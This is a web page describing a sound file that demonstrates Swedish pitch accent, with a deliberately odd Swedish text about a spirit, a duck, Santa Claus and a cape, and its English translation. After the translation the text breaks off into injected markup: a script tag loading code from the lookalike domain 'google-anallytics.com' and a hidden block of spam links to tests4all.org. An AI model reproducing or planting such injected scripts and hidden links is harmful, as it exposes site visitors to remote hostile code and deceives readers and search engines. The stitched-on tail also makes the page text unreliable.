Description of what is on the sound file:
This soundfile is an attempt to illustrate the pitch accent of Swedish. Thus I wrote a short text containing some words only distinguished by pitch melody in Swedish. Because of this the content of the text is rather strange.

Transcript of sound file:
När anden stod på stegen hörde han plötsligt steg. Stegen han hörde från stegen kom från tomten som kom gående över tomten.
Tomten hade besökt sin vän anden. Anden frågade var anden bodde. Tomten sa att anden bodde på en udde. Udden såg ut som udden av en kniv.

Translation:
When the spirit was standing on the ladder he suddenly heard footsteps. The footsteps he heard from the ladder came from Santa Claus who came walking across the lot.
Santa Claus had visited his friend the duck. The spirit asked where the duck lived. Santa Claus said that the duck lived on a cape. The cape looked like the point of a knife.'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>
